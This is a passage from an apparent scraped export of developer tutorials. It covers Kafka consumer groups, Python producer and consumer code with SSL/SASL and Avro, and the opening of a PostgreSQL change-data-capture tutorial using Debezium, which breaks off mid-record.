groups read all the data across all partitions from a topic.\nWithin `Consumer Group 1`, `Consumer 1` and `Consumer 2` read from\n`Partition 1` and `Partition 2` and consumers within `Consumer Group 2`\nalso read from these same two partitions. A message will never be read\nby more than one consumer in the group thanks to the consumer group\nconcept.\n\n### 1 topic : 1 partition : 1 consumer : 1 consumer group\n\nLet's start with a setup where we have a single producer writing to a\nsingle topic with one partition. A consumer is reading messages from\nthis topic which is part of a consumer group.\n\n:::mermaid\ngraph LR\n    pr0(kafka producer pr0) --\u003ep0(partition p0)\n    subgraph topic\n    p0\n    end\n\n    co0(kafka consumer co0)\n    subgraph consumer group A\n    co0\n    end\n\n    p0 --\u003eco0\n:::\n\n::alert[The following code samples include configuration related to SSL or SASL authentication. If you're running a local Kafka instance and not using SSL/SASL, you can exclude these configurations. Please note that excluding SSL/SASL configurations is not suggested for production Kafka environments.]\n\n#### Set up a producer instance to send a message to the cluster\n\nIn Kafka, a producer is any application which generates and sends\nrecords to a Kafka cluster. The following Python code generates some\nmessages to the \"demo-topic\" topic using the\n`Kafka-python` library:\n\n::alert[Ensure that the certificate files you downloaded above are in the same directory as this Python script.]\n\nWith SSL authentication:\n\n``` python\nfrom kafka import KafkaProducer\nimport time\n\n# Configuring the Kafka producer \nproducer = KafkaProducer(\n    bootstrap_servers=f\"{HOST}:{SSL_PORT}\", # From the connection information for the managed service\n    security_protocol=\"SSL\",\n    ssl_cafile=\"ca.pem\", # From the connection information for the managed service\n    ssl_certfile=\"service.cert\", # From the connection information for the managed service\n    ssl_keyfile=\"service.key\", # From the connection information for the managed service\n)\n\n# Generate 10 messages in total with 1 second interval\nfor i in range(10):\n  message = f\"Hello from Python using SSL {i + 1}!\"\n  producer.send(\"demo-topic\", message.encode('utf-8'))\n  print(f\"Message sent: {message}\")\n  time.sleep(1)\n\nproducer.close()\n```\n\nWith SASL authentication:\n\n``` python\nfrom kafka import KafkaProducer\nimport time\n\n # Choose an appropriate SASL mechanism, for instance:\n SASL_MECHANISM = 'SCRAM-SHA-256'\n\n # Configuring the Kafka producer\n producer = KafkaProducer(\n    bootstrap_servers=f\"{HOST}:{SASL_PORT}\", # From the connection information for the managed service\n    sasl_mechanism = SASL_MECHANISM,\n    sasl_plain_username = SASL_USERNAME, # From the connection information for the managed service\n    sasl_plain_password = SASL_PASSWORD, # From the connection information for the managed service\n    security_protocol=\"SASL_SSL\", \n    ssl_cafile=\"ca.pem\", # From the connection information for the managed service\n )\n\n# Generate 10 messages in total with 1 second interval\nfor i in range(10):\n  message = f\"Hello from Python using SASL {i + 1}!\"\n  producer.send(\"demo-topic\", message.encode('utf-8'))\n  print(f\"Message sent: {message}\")\n  time.sleep(1)\n\nproducer.close()\n```\n\n#### Set up a consumer instance to start listening for messages\n\nWith the producer program executed, now run the consumer program for\nyour chosen protocol.\n\nWith SSL authentication:\n\n``` python\n# Import the required library\nfrom kafka import KafkaConsumer\n\n# Configuring the Kafka consumer  \nconsumer = KafkaConsumer(\n    \"demo-topic\",\n    auto_offset_reset=\"earliest\",\n    bootstrap_servers=f\"{HOST}:{SSL_PORT}\", # From the connection information for the managed service\n    group_id=\"demo-consumer-group\",\n    security_protocol=\"SSL\",\n    ssl_cafile=\"ca.pem\", # From the connection information for the managed service\n    ssl_certfile=\"service.cert\", # From the connection information for the managed service\n    ssl_keyfile=\"service.key\", # From the connection information for the managed service\n)\n\n# Continuously poll for new messages\nfor msg in consumer:\n  print(\"Message: \", msg.value)\n```\n\nWith SASL authentication:\n\n``` python\n# Import the required library\nfrom kafka import KafkaConsumer\n\n# Choose an appropriate SASL mechanism, for instance:\nSASL_MECHANISM = 'SCRAM-SHA-256'\n\n# Configuring the Kafka consumer \nconsumer = KafkaConsumer(\n    \"demo-topic\",\n    auto_offset_reset=\"earliest\",\n    bootstrap_servers = f'{HOST}:{SASL_PORT}', # From the connection information for managed service\n    group_id=\"demo-consumer-group\",\n    sasl_mechanism = SASL_MECHANISM,\n    sasl_plain_username = SASL_USERNAME, # From the connection information for the managed service\n    sasl_plain_password = SASL_PASSWORD, # From the connection information for the managed service\n    security_protocol = \"SASL_SSL\",\n    ssl_cafile = \"ca.pem\" # From the connection information for the managed service\n)\n\n# Continuously poll for new messages\nfor msg in consumer:\n  print(\"Message: \", msg.value.decode(\"utf-8\"))\n```\n\n#### Observation\n\nOnce messages are produced, they are written to the single partition\n`p0` of `demo-topic`. All the messages are consumed by the single\nconsumer `co0` which is part of the single consumer group `consumer group A`.\n\nOnce you run one of the above consumer program `python consumer.py`,\nyou'll see the program running in the terminal but not doing anything!\nThat's because the consumer instance is listening for messages and\ncurrently, there's no message to print out.\n\nTo see some action on this terminal, run the producer code in another\nterminal. You will see the same record appear on the producer program\nterminal.\n\nNote that Kafka gives you a nicely packaged `KafkaConsumer` object which\ncontinually checks for new messages at an interval of your choosing. You\ndidn't have to write custom application logic for this part.\n\nWhat would happen if there were two partitions in this case, `p0` and\n`p1`? In this case, messages would be published to partition randomly.\nThe consumer `co0` would take a round robin approach when consuming\nmessages from this topic.\n\n### 1 topic : 1 partition : 2 consumers : 1 consumer group\n\nLet's take a look at this setup where there are two consumers. `co0`\nand `co1` are registered to the same `consumer group A`.\n\nIn this setup, one consumer sits idle. This highlights an important\nconcept in Kafka - records are processed in parallel and the same\npartition cannot be assigned to multiple consumers in the same consumer\ngroup.\n\n:::mermaid\ngraph LR;\n\n    pr0(kafka producer pr0) --\u003ep0(partition p0);\n    subgraph topic\n    p0\n    end\n\n    co0(kafka consumer co0)\n    co1(kafka consumer co1)\n    subgraph consumer group A\n    co0\n    co1\n    end\n\n    p0 --\u003eco0 \n:::\n\nIf the first consumer `co0` crashes for some reason, the other consumer\n`co1` in the consumer group then begins consuming messages from the last\ncommitted offset of the partition. This is what makes a cluster highly\navailable.\n\n:::mermaid\ngraph LR;\n\n    pr0(kafka producer pr0) --\u003ep0(partition p0);\n    subgraph topic\n    p0\n    end\n\n    co0(CRASHED)\n    co1(kafka consumer co1)\n    subgraph consumer group A\n    co0\n    co1\n    end\n\n    p0 --\u003eco1\n:::\n\n## Add schemas to messages with Apache Avro™\n\nThe Kafka brokers understand data as stream of bytes, so one needs to\npick a serializer and deserializer to convert the bytes into meaningful\nmessages. Any format will do as long as it's consistent. For this\ntutorial, we're selecting Apache Avro, which is an open-source project\nand one of the most popular serialization format. Avro is defined by a\nschema and the schema is written in JSON. You can consider Avro as JSON\nwith a schema attached to it.\n\nBoth of these programs use SSL authentication. You can follow the\nprevious examples in this tutorial if you'd like to use SASL\nauthentication instead.\n\n### Setting up a producer to send Avro-encoded messages\n\nHere's an example of a Kafka consumer in Python using the\n[confluent-Kafka-python](https://github.com/confluentinc/confluent-kafka-python)\nlibrary to produce Avro-encoded messages. In a terminal window, run the\nfollowing producer code. The program should execute and exit. You won't\nsee anything yet since we need the consumer program to run next.\n\n``` python\n# Import required libraries\nfrom confluent_kafka import Producer\nfrom confluent_kafka.serialization import StringSerializer, SerializationContext, MessageField\nfrom confluent_kafka.schema_registry import SchemaRegistryClient\nfrom confluent_kafka.schema_registry.avro import AvroSerializer\n\n# Configure the Kafka producer\nconf = {\n    \"bootstrap.servers\": f\"{HOST}:{SSL_PORT}\",\n    \"security.protocol\": \"SSL\",\n    \"ssl.ca.location\": \"ca.pem\",\n    \"ssl.certificate.location\": \"service.cert\",\n    \"ssl.key.location\": \"service.key\",\n    \"client.id\": \"0001\",\n    \"acks\": 1,\n    \"compression.type\": \"gzip\",\n}\n\n# Configure the Avro schema registry\nschema_registry_conf = {\n    \"url\": f\"{SCHEMA_REGISTRY_URI}\"\n}\nschema_registry_client = SchemaRegistryClient(schema_registry_conf)\n\n# Define the Avro schema for the message\nvalue_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"User\",\n\"fields\": [\n    {\"name\": \"name\", \"type\": \"string\"},\n    {\"name\": \"age\",  \"type\": [\"int\", \"null\"]}\n]\n}\n\"\"\"\n\nkey_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"Id\",\n\"fields\": [\n    {\"name\": \"id\", \"type\": \"int\"}\n]\n}\n\"\"\"\n\n# Define a class for the User object\nclass User(object):\n    def __init__(self, name, age):\n        self.name = name\n        self.age = age\n\n# Define a class for the Key object\nclass Key(object):\n    def __init__(self, id):\n        self.id = id\n\n# Converting user object to key for AvroSerializer function\ndef user_to_dict(user, ctx):\n    return dict(\n        name=user.name,\n        age=user.age,\n    )\n\n# Converting key object to key for AvroSerializer function\ndef key_to_dict(key, ctx):\n    return dict(id=key.id)\n\n# Create the Avro serializer\navro_serializer_value = AvroSerializer(\n    schema_registry_client, value_str, user_to_dict\n)\navro_serializer_key = AvroSerializer(\n    schema_registry_client, key_str, key_to_dict\n)\n# Create the string serializer for Key\nstring_serializer = StringSerializer(\"utf_8\")\n\n# Create the Kafka producer\nproducer = Producer(conf)\n\n# Define the message key and payload\nkey = Key(id=1)\npayload = User(name=\"John\", age=30)\n\n# Send the message to the Kafka topic\ntopic = \"demo-topic\"\nproducer.produce(\n    topic=topic,\n    key=avro_serializer_key(\n        key, SerializationContext(topic, MessageField.KEY)\n    ),\n    value=avro_serializer_value(\n        payload,\n        SerializationContext(topic, MessageField.VALUE),\n    ),\n)\n\n# Wait for any outstanding messages to be delivered and delivery reports to be received\nproducer.flush()\n```\n\n### Setting up a consumer to receive Avro-encoded messages\n\nWith the producer program completed on one terminal, open up another\nterminal and run the following consumer program.\n\n``` python\n# Import required libraries\nfrom confluent_kafka import DeserializingConsumer\nfrom confluent_kafka.serialization import SerializationContext, MessageField, StringSerializer\nfrom confluent_kafka.schema_registry import SchemaRegistryClient\nfrom confluent_kafka.schema_registry.avro import AvroDeserializer\n\n\n# Configure the Kafka consumer\nconf = {\n    'bootstrap.servers': f\"{HOST}:{SSL_PORT}\",\n    'group.id': 'demo-consumer-group',\n    'auto.offset.reset': 'earliest',\n    'security.protocol': 'SSL',\n    'ssl.ca.location': 'ca.pem',\n    'ssl.key.location': 'service.key',\n    'ssl.certificate.location': 'service.cert'\n}\n\n# Configure the Avro schema registry\nschema_registry_conf = {\n    \"url\": f\"{SCHEMA_REGISTRY_URI}\"\n}\nschema_registry_client = SchemaRegistryClient(schema_registry_conf)\n\n# Define the Avro schema for the message\nvalue_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"User\",\n\"fields\": [\n    {\"name\": \"name\", \"type\": \"string\"},\n    {\"name\": \"age\",  \"type\": [\"int\", \"null\"]}\n]\n}\n\"\"\"\n\nkey_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"Id\",\n\"fields\": [\n    {\"name\": \"id\", \"type\": \"int\"}\n]\n}\n\"\"\"\n\n# Define a class for the User object\nclass User(object):\n    def __init__(self, name, age):\n        self.name = name\n        self.age = age\n\n# Define a class for the Key object\nclass Key(object):\n    def __init__(self, id):\n        self.id = id\n\n# Converting dict to User object for AvroDeserializer function\ndef dict_to_user(obj, ctx):\n    return User(name=obj['name'],\n                age=obj['age']\n    )\n\n# Converting dict to Key object for AvroDeserializer function\ndef dict_to_key(obj, ctx):\n    return Key(id=obj[\"id\"])\n\n# Create the Avro deserializer\navro_deserializer_value = AvroDeserializer(\n    schema_registry_client, value_str, dict_to_user\n)\n\navro_deserializer_key = AvroDeserializer(\n    schema_registry_client, key_str, dict_to_key\n)\n\n# Create the Kafka consumer\nconsumer = DeserializingConsumer(\n    conf\n)\n\n# Subscribe to the Kafka topic\nconsumer.subscribe(['demo-topic'])\n\n# Consume messages from the Kafka topic\nwhile True:\n    try:\n        msg = consumer.poll(1.0)\n\n        if msg is None:\n            continue\n\n        if msg.error():\n            print(\"Consumer error: {}\".format(msg.error()))\n            continue\n\n        user = avro_deserializer_value(\n            msg.value(), SerializationContext(msg.topic(), MessageField.VALUE)\n        )\n        key = avro_deserializer_key(\n            msg.key(), SerializationContext(msg.topic(), MessageField.KEY)\n        )\n\n        if user is not None and key is not None:\n            print(\n                \"Key --\u003e {}\\n\"\n                \"User record --\u003e name: {},\"\n                \" age: {}\\n\".format(key.id, user.name, user.age)\n            )\n\n    except KeyboardInterrupt:\n            break\n\n    # Commit the offset for the message\n    consumer.commit()\n```\n\n### Observation\n\nOnce you execute the consumer program, you should see the following\noutput on the second terminal while the consumer program stays running\nuntil you hit `ctrl+C`:\n\n``` shell\nKey --\u003e 1\nUser record --\u003e name: John, age: 30\n```\n\nHere's an overview of what each program does:\n\n#### Producer program\n\nThe producer program uses the `confluent-kafka` library to create an\nAvroProducer instance and send Avro messages to a Kafka broker. The program will:\n\n-   Import the necessary libraries: `confluent_kafka`,\n    `confluent_kafka.avro`, `ssl`, and `io`.\n-   Define the URL of the Kafka broker and the Avro schema for the\n    message.\n-   Set up SSL configuration by creating an SSL context and loading the\n    client certificate, key, and CA certificate.\n-   Define the AvroProducer configuration, including the SSL settings\n    and the Avro schema.\n-   Create an AvroProducer instance.\n-   Send a sample Avro message to the Kafka broker.\n\n#### Consumer program\n\nThe consumer program uses the `confluent-kafka` library to create an\nAvroConsumer instance and receive Avro messages from a Kafka broker.\nThe program will:\n\n-   Import the necessary libraries: `confluent_kafka`,\n    `confluent_kafka.avro`, and `ssl`.\n-   Define the URL of the Kafka broker, the URL of the schema registry,\n    and the Avro schema for the message.\n-   Set up SSL configuration by creating an SSL context and loading the\n    client certificate, key, and CA certificate.\n-   Define the AvroConsumer configuration, including the SSL settings\n    and the Avro schema.\n-   Create an AvroConsumer instance and subscribe to the Kafka topic.\n-   Consume messages from Kafka and deserialize them using the Avro\n    schema.\n-   Process the messages as desired.\n\nYou might have noticed `avro_serializer_key`, `avro_serializer_value`,\n`avro_deserializer_key`, and `avro_deserializer_value` in these\nprograms. Since Kafka brokers don't know about the records and only\ndeal in bytes, the programs need to serialize and deserialize data\nbefore making sense of them. Overall, these two programs demonstrate how\nto use Avro serialization and SSL protocols to send and receive messages\nto/from a Kafka broker.\n\n## Wrap up\n\nIn this tutorial, we went over creating a highly available Apache Kafka\nservice and some key Kafka concepts like topic, partition, producer,\nconsumer, and consumer groups. We also learned the need for data\nserialization in Kafka and use of Apache Avro™ to produce and consume\nmessages. Finally, we validated our understanding by creating multiple\nPython programs to send and receive messages to/from Kafka.\n\n## Reference\n\n### Variables\n\n| Variable  | Description  |\n|---|---|\n| `HOST`  | Host name for the connection  |\n| `USER_NAME` or `SASL_USERNAME`  | Name of the user for the connection  |\n| `SSL_PORT`  | Port number to use for SSL  |\n| `SASL_PORT`  | Port number to use for SASL  |\n| `SCHEMA_REGISTRY_HOST`  | Host address for the schema registry  |\n| `SCHEMA_REGISTRY_PORT`  | Port number for the schema registry  |\n| `SASL_PASSWORD`  | Password required to connect using SASL  |\n| `TRUSTSTORE_LOCATION`  | Location of your truststore (named by default as client.truststore.jks)  |\n| `TRUSTSTORE_PASSWORD`  | Password you used when creating a truststore  |\n| `KEYSTORE_LOCATION`  | Location of you keystore (named by default as client.keystore.p12)  |\n| `KEYSTORE_PASSWORD`  | Password you used when creating a keystore  |\n| `KEY_PASSWORD`  | Password for the key in the keystore, if you chose a different password than the one for keystore  |\n| `SERIALIZER`  | How to serialize data, you can find available options [in the Apache Kafka documentation](https://kafka.apache.org/0102/javadoc/org/apache/kafka/common/serialization/)  |\n| `DESERIALIZER`  | How to de-serialize data, you can find available options [in the Apache Kafka documentation](https://kafka.apache.org/0102/javadoc/org/apache/kafka/common/serialization/)  |\n\nFor consumers you will also need:\n\n| Variable  | Description  |\n|---|---|\n| `TOPIC_NAME`  | The name of the topic to read from  |\n| `START_FROM`  | The value to use for the `auto_offset_reset` parameter,which says which message to start consuming from. Allowed values are `latest` (consume from the end of the topic partition) and `earliest` (consume from the beginning of the topic partition) |\n\nFor more information on `auto_offset_reset`, see the Kafka documentation\non\n[auto.offset.reset](https://kafka.apache.org/documentation/#consumerconfigs_auto.offset.reset)\nand [Consumer\nPosition](https://kafka.apache.org/documentation/#design_consumerposition).\n\n## Next steps\n\nCheck out [more Aiven tutorials](https://aiven.io/developer/tutorial) to learn about open-source data infrastructure.\n\n::banner[Learn how to use Apache Kafka® as a source and sink to process streaming data, and how to deploy that with Terraform. A part of Aiven's Terraform Cookbook.]{ctaText=\"Check the tutorial\" ctaLink=\"https://aiven.io/developer/kafka-source-sink-flink-integration\" title=\"Apache Kafka® as source and sink with Apache Flink® to process streaming data\" theme=\"dark\"}\n\n## Further reading\n\n- [View Apache Kafka® messages live in the Aiven Console](https://aiven.io/blog/kafka-messages-ui-announcement)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-07T12:07:43.335Z"},"internalTags":[],"publishedAt":"2023-04-03T12:07:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to configure a connection to an Apache Kafka® cluster and use Apache Avro™ to send messages to it. Find out more in the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7b38cf09a17b738e4848f322c3b934aa5a958d17-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/how-to-send-and-receive-application-data-from-apache-kafka"},"subtitle":"Configure a connection to an Apache Kafka® cluster and use Apache Avro™ to send messages to it.","tags":[{"_key":"e23dbc20bcd9","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"4cf9b4df14e1","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"How to send and receive application data from Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2023-10-10T11:49:40Z","_id":"1c9dd13c-41ec-4b0c-9d04-c47d0579291b","_rev":"CsJhS699U5wscrFy6fi5b3","_type":"devArticle","_updatedAt":"2024-12-05T16:47:20Z","body":"# Change data capture across multiple tables with PostgreSQL® logical decoding messages and Debezium\n\nChange data capture (CDC) is a widely adopted pattern to move data across systems. While the basic principle works well on small single table use-cases, things get complicated when we need to take into account consistency when information spans multiple tables. In cases like this, creating multiple 1-1 CDC flows is not enough to guarantee a consistent view of the data in the database because each table is tracked separately. Aligning data with transaction boundaries becomes a hard and error prone problem to be solve once the data left the database.\n\nThis tutorial shows how to use PostgreSQL® [logical decoding](https://www.postgresql.org/docs/current/logicaldecoding-explanation.html), the outbox pattern and Debezium to propagate a consistent view of a dataset spanning over multiple tables.\n\n::alert[This article describes the configuration for Debezium version 2.5 and later.]{title=\"Debezium 2.5\"}\n\n## Use case: A PostgreSQL based online shop \n\nRelational databases are based on an [entity-relationship](https://en.wikipedia.org/wiki/Entity%E2%80%93relationship_model) model, where entities are stored in tables, with each table having a key for uniqueness. Relationships take the form of foreign keys, that allow information from various tables to be joined.\n\nA practical example is the following with the three entities `users`, `products`, `orders`, and `order lines` and the relationships within them.\n\n![Architectural diagram of the entity-relationship model](https://cdn.sanity.io/images/sczeoy4w/production/6c35d762229583864378e27f4fc8d65b4b610086-5720x2280.png)\n\nIn the above picture, the `orders` table contains a foreign key to `users` (the user making the order), and the `order lines` table contains the foreign keys to `orders` and `products` allowing to understand to which order the line belongs and which products it includes. \n\nWe can recreate the above situation by [signing up for an Aiven account and accessing the console](https://console.aiven.io/signup), then creating a new Aiven for PostgreSQL® database. When the service is up and running, we can retrieve the connection URI from the service console page's Overview tab. \n\nWhen you have the connection URI, [connect with psql](https://aiven.io/docs/products/postgresql/howto/connect-psql) and run the following:\n\n```sql\nCREATE TABLE USERS (ID SERIAL PRIMARY KEY, USERNAME TEXT);\nINSERT INTO USERS (USERNAME) VALUES\n    ('Franco'),('Giuseppina'),('Wiltord');\n```\n\n```sql\nCREATE TABLE PRODUCTS (\n    ID SERIAL PRIMARY KEY,\n    CATEGORY TEXT,\n    NAME TEXT,\n    PRICE INT\n    );\n\nINSERT INTO PRODUCTS (CATEGORY, NAME, PRICE) VALUES\n    ('t-shirt', 'red t-shirt',5),\n    ('shoes', 'Wow shoe',35),\n    ('t-shirt', 'blue t-shirt',15),\n    ('dress', 'white-golden dress',50);\n```\n\n```sql\nCREATE TABLE ORDERS (\n    ID SERIAL PRIMARY KEY,\n    SHIPPING_ADDR TEXT,\n    ORDER_DATE DATE,\n    USER_ID INT,\n    CONSTRAINT FK_USER\n        FOREIGN KEY(USER_ID)\n        REFERENCES USERS(ID)\n    );\n\nINSERT INTO ORDERS (SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n    ('Via Ugo 1', '02/08/2023',3),\n    ('Piazza Carlo 2', '03/08/2023',1),\n    ('Lincoln Street', '03/08/2023',2);\n```\n\n```sql\nCREATE TABLE ORDER_LINES (\n    ID SERIAL PRIMARY KEY,\n    ORDER_ID INT,\n    PROD_ID INT,\n    QTY INT,\n    CONSTRAINT FK_ORDER\n        FOREIGN KEY(ORDER_ID)\n        REFERENCES ORDERS(ID),\n    CONSTRAINT FK_PRODUCT\n        FOREIGN KEY(PROD_ID)\n        REFERENCES PRODUCTS(ID)\n    );\n\nINSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES\n    (1,1,5),\n    (1,4,1),\n    (2,2,7),\n    (2,4,2),\n    (2,3,7),\n    (2,1,1),\n    (3,2,2);\n```\n\n## Start the Change Data Capture flow with the Debezium connector\n\nNow, if we want to send an event to Apache Kafka® every time a new order happens we can define a [Debezium CDC connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg) that includes all four tables defined above. \n\nTo do this, navigate to the [Aiven Console](https://console.aiven.io/) and create a new Aiven for Apache Kafka® service (we need at least a Business plan for this example, so that we can run a Kafka Connector). Then\n* Enable Kafka Connect from the **Connectors** tab of the service overview page.\n* Navigate to the bottom of the **Service Settings** tab and enable the `kafka.auto_create_topics_enable` configuration in the *Advanced parameter* section - this is not something we'd normally do in production, but it makes sense for our test purposes.\n \nFinally, when the service is up and running create a [Debezium CDC connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg) with the following JSON definition:\n\n```json\n{\n    \"name\": \"mysourcedebezium\",\n    \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n    \"database.hostname\": \"\u003cHOSTNAME\u003e\",\n    \"database.port\": \"\u003cPORT\u003e\",\n    \"database.user\": \"avnadmin\",\n    \"database.password\": \"\u003cPASSWORD\u003e\",\n    \"database.dbname\": \"defaultdb\",\n    \"topic.prefix\": \"mydebprefix\",\n    \"plugin.name\": \"pgoutput\",\n    \"slot.name\": \"mydeb_slot\",\n    \"publication.name\": \"mydeb_pub\",\n    \"publication.autocreate.mode\": \"filtered\",\n    \"table.include.list\": \"public.users,public.products,public.orders,public.order_lines\"\n}\n```\n\nWhere:\n\n* `database.hostname`, `database.port`,  `database.password` specify the Aiven for PostgreSQL connection parameters that can be found in the Aiven Console's service overview tab\n* `topic.prefix` is the prefix for the topic names in Aiven for Apache Kafka\n* `plugin.name` is the PostgreSQL plugin to use, `pgoutput`\n* `slot.name` and `publication.name` are the name of the replication slot and publication in PostgreSQL\n* `\"publication.autocreate.mode\": \"filtered\"` allows us to create a publication only for the tables in scope\n* `table.include.list` lists the tables for which we want to enable CDC\n\nThe connector will create four topics (one per table) and tracks the changes separately for each table.\n\n![Debezium to Kafka](https://cdn.sanity.io/images/sczeoy4w/production/6e7a314af8e340e4d2f624334826153d5b6ff1e6-7950x3346.png)\n\nIn Aiven for Apache Kafka we should see four different topics named `\u003cprefix\u003e.\u003cschema_name\u003e.\u003ctable_name\u003e` where:\n* `\u003cprefix\u003e` matches the `database.server.name` parameter  (`mydebprefix`)\n* `\u003cschema_name\u003e` matches the name of the schema (`public` in our scenario)\n* `\u003ctable_name\u003e` matches the name of the tables (`users`, `products`, `orders`, and `order_lines`)\n\nIf we check with [kcat](https://aiven.io/docs/products/kafka/howto/kcat), the `mydebprefix.public.users` log in Apache Kafka, we should see data similar to the below\n\n```json\n{\"before\":null,\"after\":{\"id\":1,\"username\":\"Franco\"},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"first\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"users\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858959,\"transaction\":null}\n{\"before\":null,\"after\":{\"id\":2,\"username\":\"Giuseppina\"},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"true\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"users\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858959,\"transaction\":null}\n{\"before\":null,\"after\":{\"id\":3,\"username\":\"Wiltord\"},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"last_in_data_collection\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"users\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858959,\"transaction\":null}\n```\n\nThe above is the typical Debezium data representation with the `before` and `after` representations, as well as information about the transactions (`ts_ms` as example) and the data source (`schema`, `table` and others). This rich information will be useful later.\n\n## The consistency problem\n\nNow let's say `Franco`, one of our users, decides to issue a new order for the `white-golden dress`. Just a few seconds later, our company, due to an [online debate](https://en.wikipedia.org/wiki/The_dress) decides that the `white-golden dress` is now called `blue-black dress` and wants to charge `65$` instead of the `50$` original price.\n\n![Entity relationship model with the updates to the order, order-lines and products table](https://cdn.sanity.io/images/sczeoy4w/production/8b835cb0b6d571f2795f46cafe5cde19163c168a-6120x2400.png).\n\nThe first action can be represented by the following transaction in PostgreSQL:\n\n```sql\n--- Franco purchasing the white-golden dress\nBEGIN;\n    INSERT INTO ORDERS (SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n        ('Piazza Carlo 2', '04/08/2023',1);\n    INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n        (4,4,1);\nEND;\n```\n\nAfter which we can check the order details with the following query:\n\n```sql\nSELECT \n    USERNAME,\n    ORDERS.ID ORDER_ID,\n    PRODUCTS.NAME PRODUCT_NAME,\n    PRODUCTS.PRICE PRODUCT_PRICE,\n    ORDER_LINES.QTY QUANTITY\nFROM\n    USERS \n        JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n        JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n        JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\nWHERE ORDERS.ID = 4;\n```\n\nThis should report the correct order details:\n\n```\n username | order_id |    product_name    | product_price | quantity\n----------+----------+--------------------+---------------+----------\n Franco   |        4 | white-golden dress |            50 |        1\n(1 row)\n```\n\nThe second action can be represented by the following transaction:\n\n```sql\n--- Our company updating name and the price of the white-golden dress\nBEGIN;\n    UPDATE PRODUCTS SET \n        NAME = 'blue-black dress', \n        PRICE = 65\n    WHERE ID = 4;\nEND;\n```\n\nWe can then repeat the query to find out the order details:\n\n```sql\nSELECT \n    USERNAME,\n    ORDERS.ID ORDER_ID,\n    PRODUCTS.NAME PRODUCT_NAME,\n    PRODUCTS.PRICE PRODUCT_PRICE,\n    ORDER_LINES.QTY QUANTITY\nFROM\n    USERS \n        JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n        JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n        JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\nWHERE ORDERS.ID = 4;\n```\n\nThe result now shows the order as `Franco` ordering a `blue-black dress` with an extra $15 cost.\n\n```\n username | order_id |   product_name   | product_price | quantity\n----------+----------+------------------+---------------+----------\n Franco   |        4 | blue-black dress |            65 |        1\n(1 row)\n```\n\n## Recreate consistency in Apache Kafka\n\nWhen we look at the data in Apache Kafka, we can see all the changes in the topics. Browsing the `mydebprefix.public.order_lines` topic with kcat, we can check the new entry (the results in `mydebprefix.public.orders` would be similar):\n\n```json\n{\"before\":null,\"after\":{\"id\":8,\"order_id\":4,\"prod_id\":4,\"qty\":1},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413959729,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"872415888\\\"]\",\"schema\":\"public\",\"table\":\"order_lines\",\"txId\":2182,\"lsn\":872415888,\"xmin\":null},\"op\":\"c\",\"ts_ms\":1733413960339,\"transaction\":null}\n```\n\nAnd in `mydebprefix.public.products`, we can see entries like the following, showcasing the update from `white-golden dress` to `blue-black dress` and related price change:\n\n```json\n{\"before\":null,\"after\":{\"id\":4,\"category\":\"dress\",\"name\":\"white-golden dress\",\"price\":50},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"last_in_data_collection\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"products\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858972,\"transaction\":null}\n{\"before\":null,\"after\":{\"id\":4,\"category\":\"dress\",\"name\":\"blue-black 